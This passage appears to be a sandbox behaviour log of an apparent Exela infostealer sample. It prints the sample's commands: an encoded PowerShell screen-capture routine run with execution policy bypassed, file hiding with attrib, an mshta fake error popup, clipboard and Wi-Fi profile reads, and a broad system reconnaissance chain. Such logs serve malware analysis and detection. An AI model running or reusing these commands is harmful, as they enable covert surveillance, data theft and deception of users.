IAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIA
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\iqddoona\iqddoona.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES71B8.tmp" "c:\Users\user\AppData\Local\Temp\iqddoona\CSCE5D39DCC87804C2589D261464B53262.TMP"
Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: C:\Users\user\Desktop\rename_me_before.exe "C:\Users\user\Desktop\rename_me_before.exe"	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe""	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-\|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()""	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: C:\Windows\System32\attrib.exe attrib +h +s "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe"	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard"	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +h +s "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-\|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c chcp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c chcp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Get-Clipboard
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\HOSTNAME.EXE hostname
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic logicaldisk get caption,description,providername
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\query.exe query user
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net localgroup
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net localgroup administrators
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user guest
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user administrator
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic startup get caption,command
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /svc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ipconfig.exe ipconfig /all
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ROUTE.EXE route print
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ARP.EXE arp -a
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\NETSTAT.EXE netstat -ano
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query type= service state= all
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh firewall show state
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh firewall show config
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user
Source: C:\Windows\System32\query.exe	Process created: C:\Windows\System32\quser.exe "C:\Windows\system32\quser.exe"
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 localgroup
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 localgroup administrators
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user guest
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user administrator
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\iqddoona\iqddoona.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES71B8.tmp" "c:\Users\user\AppData\Local\Temp\iqddoona\CSCE5D39DCC87804C2589D261464B53262.TMP"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid

Source: C:\Users\user\Desktop\rename_me_before.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Section loaded: libffi-8.dll	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Section loaded: sqlite3.dll	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Section loaded: libcrypto-3.dll	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Section loaded: libssl-3.dll	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msimtf.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: jscript9.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
